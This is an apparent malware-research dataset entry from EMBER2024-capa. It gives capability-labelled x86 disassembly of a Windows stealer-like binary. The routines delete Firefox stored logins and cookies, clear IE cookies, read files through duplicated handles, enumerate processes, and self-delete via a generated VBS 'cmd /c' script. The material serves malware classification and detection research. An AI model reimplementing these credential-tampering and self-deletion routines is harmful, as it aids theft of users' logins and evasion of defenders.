joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bb30
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004020df
lea ecx, [ebp - 0x48]
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402093
push eax
push 0x4669b4
call fcn.0043c0da
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea eax, [ebp - 0x1d0]
push eax
push 0x466974
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406c1e
pop ecx
mov ecx, eax
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40bce4
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
jmp 0x40bd18
test byte [ebp - 0x1d0], 0x10
je 0x40bce4
lea eax, [ebp - 0x1a4]
push 0x466ad4
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40bce4
lea eax, [ebp - 0x1a4]
push 0x466ad8
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40bce4
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x90]
call fcn.00401fd8
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401fe2
lea ecx, [ebp - 0x90]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40bccb
call dword [sym.imp.KERNEL32.DLL_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40bce4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x40bbeb
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40bd37
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402093
push eax
push 0x4669b4
call fcn.0043c0da
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
lea eax, [ebp - 0x1b8]
push eax
push 0x466974
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406c1e
pop ecx
mov ecx, eax
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40be81
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
jmp 0x40beb5
test byte [ebp - 0x1b8], 0x10
je 0x40be81
lea eax, [ebp - 0x18c]
push 0x466ad4
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40be81
lea eax, [ebp - 0x18c]
push 0x466ad8
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40be81
lea eax, [ebp - 0x18c]
push 0x466b3c
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40beda
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
jne 0x40becf
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x40bdeb
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor bl, bl
jmp 0x40beb7
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40bdd9
Function at 0x40bee9
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004020df
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, closesocket
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.004135a6
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
mov edx, 0x4660a4
lea ecx, [ebp - 0x18]
call fcn.00405b05
test al, al
je 0x40bf56
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402093
call fcn.0040c1d8
mov bl, 1
jmp 0x40bff9
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40bf3b
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.0041bc5e
mov ecx, eax
call fcn.00401f04
mov ecx, eax
call fcn.0041c291
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401fd8
test esi, esi
je 0x40bfcf
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40bf45
push ebx
push 0x466bf0
mov ecx, 0x475a00
call fcn.00406ae1
test eax, eax
je 0x40bffc
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c162
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x472b19], cl
push edi
mov dword [0x472b28], eax
test cl, cl
je 0x40c1bf
mov edi, 0x466c48
mov dword [ebp - 4], esi
mov ebx, 0x4752f0
push edi
mov ecx, ebx
call fcn.00401fab
mov edx, eax
call fcn.004134ff
pop ecx
test al, al
je 0x40c1bf
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00401fab
mov edx, eax
call fcn.00413549
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40c1bf
xor al, al
jmp 0x40c1d1
push esi
push esi
push esi
push 0x40c00c
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c34d
Capabilities:
Check if file exists
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
mov esi, ecx
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040417e
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.00409052
lea eax, [ebp - 0x2e0]
push eax
push 0x4665e8
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.0040915b
pop ecx
mov ecx, eax
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.00401f09
cmp edi, 0xffffffff
jne 0x40c3c1
push 0x466468
mov ecx, esi
call fcn.0040417e
jmp 0x40c497
lea ecx, [ebp - 0x48]
call fcn.004020df
jmp 0x40c466
test byte [ebp - 0x2e0], 0x10
je 0x40c466
lea eax, [ebp - 0x2b4]
push 0x466528
push eax
call fcn.0043f954
pop ecx
pop ecx
test eax, eax
je 0x40c466
lea eax, [ebp - 0x2b4]
push 0x46660c
push eax
call fcn.0043f954
pop ecx
pop ecx
test eax, eax
je 0x40c466
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0040915b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40c4a7
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x40c3ce
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
push 0x466468
mov ecx, esi
call fcn.0040417e
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401f09
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00403262
lea ecx, [ebp - 0x30]
call fcn.00401f09
jmp 0x40c48f
Function at 0x40d069
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0x475320
call fcn.00401fab
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [0x472d44], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
ret
Function at 0x40d7ff
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.00412850
mov esi, 0x475338
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x4752f0
call fcn.00401fab
mov edx, eax
call fcn.004136f8
add esp, 0x14
xor edi, edi
test al, al
jne 0x40d85f
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.0041b978
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0041bc5e
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea eax, [ebp - 0x78]
push eax
push 0x466608
push 0x466f88
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040431d
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x18]
call fcn.00401f86
push 0x467130
push 0x467134
lea ecx, [ebp - 0xc0]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040325d
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0xa8]
call fcn.00401f09
lea ecx, [ebp - 0xc0]
call fcn.00401f09
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.00409052
push edi
lea ecx, [ebp - 0x60]
call fcn.00401f04
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c3f1
pop ecx
pop ecx
test al, al
je 0x40d9ca
push edi
mov eax, 0x466468
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401f04
push eax
push 0x466108
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40d9ca
push edi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401f09
lea ecx, [ebp - 0x60]
call fcn.00401f09
lea ecx, [ebp - 0x78]
call fcn.00401f09
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40f8fd
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x388
push ebp
push esi
push edi
mov edi, ecx
call fcn.004020df
call fcn.0041bfb7
push 0
push 2
mov byte [0x474af4], al
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40fb0b
lea eax, [esp + 0x160]
mov dword [esp + 0x160], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
je 0x40fb04
mov ebp, 0x4674c0
lea eax, [esp + 0x184]
push eax
lea ecx, [esp + 0x14]
call fcn.0040417e
mov ecx, dword [esp + 0x168]
push 0x4674bc
call fcn.0041bfe5
movzx edx, al
lea ecx, [esp + 0x14c]
call fcn.0041bb8e
mov edx, dword [esp + 0x16c]
lea ecx, [esp + 0x134]
push eax
push ebp
call fcn.0041bb8e
mov edx, dword [esp + 0x174]
lea ecx, [esp + 0x124]
push eax
push ebp
call fcn.0041c1dd
mov edx, eax
lea ecx, [esp + 0x114]
call fcn.0041bd1e
push eax
push ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x104]
call fcn.0041bd1e
push eax
mov edx, edi
lea ecx, [esp + 0xf0]
call fcn.00406362
pop ecx
mov edx, eax
lea ecx, [esp + 0xd4]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [esp + 0xb8]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x9c]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [esp + 0x80]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x64]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00406383
pop ecx
push eax
mov ecx, edi
call fcn.00401fe2
lea ecx, [esp + 0x28]
call fcn.00401fd8
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x58]
call fcn.00401fd8
lea ecx, [esp + 0x70]
call fcn.00401fd8
lea ecx, [esp + 0x88]
call fcn.00401fd8
lea ecx, [esp + 0xa0]
call fcn.00401fd8
lea ecx, [esp + 0xb8]
call fcn.00401fd8
lea ecx, [esp + 0xd0]
call fcn.00401fd8
lea ecx, [esp + 0xe8]
call fcn.00401fd8
lea ecx, [esp + 0x100]
call fcn.00401fd8
lea ecx, [esp + 0x118]
call fcn.00401f09
lea ecx, [esp + 0x130]
call fcn.00401fd8
lea ecx, [esp + 0x148]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.00401f09
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x40f961
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x388
ret
Function at 0x4132d2
Capabilities:
Get file size
Read file via mapping

Disassembly:
sub esp, 0x218
cmp dword [0x474b28], 0
mov eax, ecx
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
jne 0x4132f3
push 0xfffffffffffffffc
pop eax
jmp 0x4133f9
call fcn.00413472
test eax, eax
jne 0x413304
or eax, 0xffffffff
jmp 0x4133f9
push esi
push eax
push 0
push 0x440
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
test esi, esi
jne 0x413321
push 0xfffffffffffffffe
pop eax
jmp 0x4133f8
push ebp
push edi
mov edi, 0x400
push edi
mov dword [esp + 0x10], edi
call fcn.0043bd51
jmp 0x413356
push ebp
cmp eax, 0xc0000004
jne 0x413400
call fcn.0043bd4c
mov eax, dword [esp + 0x10]
add eax, edi
push eax
mov dword [esp + 0x14], eax
call fcn.0043bd51
pop ecx
pop ecx
mov ebp, eax
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push ebp
push 0x33
push esi
call dword [0x474b24]
test eax, eax
js 0x413334
xor edi, edi
push ebx
cmp dword [ebp], edi
jbe 0x4133eb
lea ebx, [ebp + 8]
push 2
push 0
push 0
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
push dword [ebx]
push esi
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
test eax, eax
je 0x4133e2
push 0x208
lea eax, [esp + 0x24]
push 0
push eax
call fcn.00436e90
add esp, 0xc
lea eax, [esp + 0x20]
push 0
push 0x104
push eax
push dword [esp + 0x20]
call dword [0x474b28]
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x1c]
call fcn.0043f954
pop ecx
pop ecx
test eax, eax
je 0x41340b
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc edi
add ebx, 0x1c
cmp edi, dword [ebp]
jb 0x41337b
push ebp
call fcn.0043bd4c
pop ecx
push 0xfffffffffffffffd
pop eax
pop ebx
pop edi
pop ebp
pop esi
add esp, 0x218
ret
call fcn.0043bd4c
xor eax, eax
pop ecx
inc eax
jmp 0x4133f6
xor edi, edi
push edi
push edi
push edi
push 2
push edi
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingW]
push edi
push edi
push edi
mov ebx, eax
push 4
push ebx
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
push edi
push dword [esp + 0x18]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
push edi
call fcn.0043bd51
mov ecx, dword [esp + 0x20]
push edi
push esi
push eax
mov dword [ecx], eax
call fcn.00436910
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call ebx
push dword [esp + 0x14]
call ebx
push ebp
call fcn.0043bd4c
pop ecx
mov eax, edi
jmp 0x4133f5

Function at 0x4134ff
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x413542
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
jmp 0x413544
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4146d4
Capabilities:
Resolve dns

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x1c]
push esi
push edi
push ecx
and dword [ebp], 0
mov dword [esp + 0x14], edx
mov byte [ebx], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x414752
cmp word [esi + 8], 2
jne 0x414734
push 4
pop eax
cmp word [esi + 0xa], ax
jne 0x414734
mov edi, dword [esi + 0xc]
jmp 0x41472e
push dword [eax]
mov edx, dword [esp + 0x1c]
push dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
call fcn.0041466d
mov dword [ebp], eax
test eax, eax
je 0x41474d
lea ebp, [eax + 0x1c]
add edi, 4
mov eax, dword [edi]
test eax, eax
jne 0x41470e
push 0x400
push dword [esi]
push 0x401
push ebx
call fcn.00441a33
add esp, 0x10
xor eax, eax
jmp 0x414770
push 8
pop eax
jmp 0x414770
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x2af9
sub eax, ecx
je 0x41476e
sub eax, 1
je 0x41477f
sub eax, 1
je 0x414778
sub eax, 1
mov eax, ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0x10
mov eax, 0x2afb
jmp 0x414770
mov eax, 0x2afa
jmp 0x414770

Function at 0x414d86
Capabilities:
Get common file path

Disassembly:
sub esp, 0x22c
cmp dword [0x476b4c], 0
mov dword [esp], str.getaddrinfo
mov dword [esp + 4], 0x41490a
mov dword [esp + 8], str.getnameinfo
mov dword [esp + 0xc], 0x414bb0
mov dword [esp + 0x10], str.freeaddrinfo
mov dword [esp + 0x14], fcn.004148cf
jne 0x414edd
push 0x104
lea eax, [esp + 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
test eax, eax
je 0x414ed3
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x134]
mov ebx, 0x10c
push eax
lea eax, [esp + 0x2c]
push ebx
push eax
call fcn.00441a3e
push str.ws2_32
lea eax, [esp + 0x38]
push ebx
push eax
call fcn.00441a98
add esp, 0x18
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, eax
mov ebp, dword [sym.imp.KERNEL32.DLL_FreeLibrary]
xor edi, edi
test esi, esi
je 0x414e46
push str.getaddrinfo
push esi
call ebx
test eax, eax
jne 0x414e42
push esi
call ebp
mov esi, edi
test esi, esi
jne 0x414e97
lea eax, [esp + 0x134]
mov esi, 0x10c
push eax
lea eax, [esp + 0x2c]
push esi
push eax
call fcn.00441a3e
push str.wship6
lea eax, [esp + 0x38]
push esi
push eax
call fcn.00441a98
add esp, 0x18
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x414ecf
push str.getaddrinfo
push esi
call ebx
test eax, eax
jne 0x414e93
push esi
call ebp
mov esi, edi
test esi, esi
je 0x414ecf
mov ebx, edi
push dword [esp + ebx*8 + 0x10]
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [esp + ebx*8 + 0x14], eax
test eax, eax
je 0x414eb4
inc ebx
cmp ebx, 3
jl 0x414e99
jmp 0x414eb9
push esi
call ebp
mov esi, edi
test esi, esi
je 0x414ecf
mov eax, dword [esp + edi + 0x14]
mov dword [edi + 0x4719f8], eax
add edi, 8
cmp edi, 0x18
jl 0x414ebd
pop edi
pop esi
pop ebp
pop ebx
mov dword [0x476b4c], 1
mov eax, dword [0x4719f8]
add esp, 0x22c
ret
Function at 0x417495
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
push esi
push str._sysinfo.txt
push str.temp
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401f09
xor ebx, ebx
lea eax, [ebp - 0x48]
push ebx
push ebx
push eax
mov edx, 0x46c7a8
lea ecx, [ebp - 0x30]
call fcn.0040b97c
pop ecx
mov ecx, eax
call fcn.00401f04
push eax
push str.dxdiag
push 0x466108
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x18]
call fcn.004020df
mov esi, ebx
lea ecx, [ebp - 0x48]
call fcn.00401f04
lea edx, [ebp - 0x18]
mov ecx, eax
call fcn.0041c485
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [ebp - 0x18]
inc esi
call fcn.00406b28
test al, al
je 0x41753c
cmp esi, 0x4b0
jl 0x41750d
lea ecx, [ebp - 0x18]
call fcn.00406b28
test al, al
jne 0x4175cc
lea ecx, [ebp - 0x48]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
push 1
lea ecx, [ebp - 0xc8]
call fcn.004046f7
push ecx
lea ecx, [ebp - 0xc8]
call fcn.004048c8
test al, al
je 0x4175c1
sub esp, 0x18
lea eax, [ebp - 0x18]
mov esi, esp
lea edx, [ebp + 8]
lea ecx, [ebp - 0x30]
push eax
push 0x474ee0
call fcn.00402f31
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f10
pop ecx
push 0x97
lea ecx, [ebp - 0xc8]
call fcn.00404aa1
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0xc8]
call fcn.00404e26
mov bl, 1
lea ecx, [ebp - 0xc8]
call fcn.00404ee2
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp + 8]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret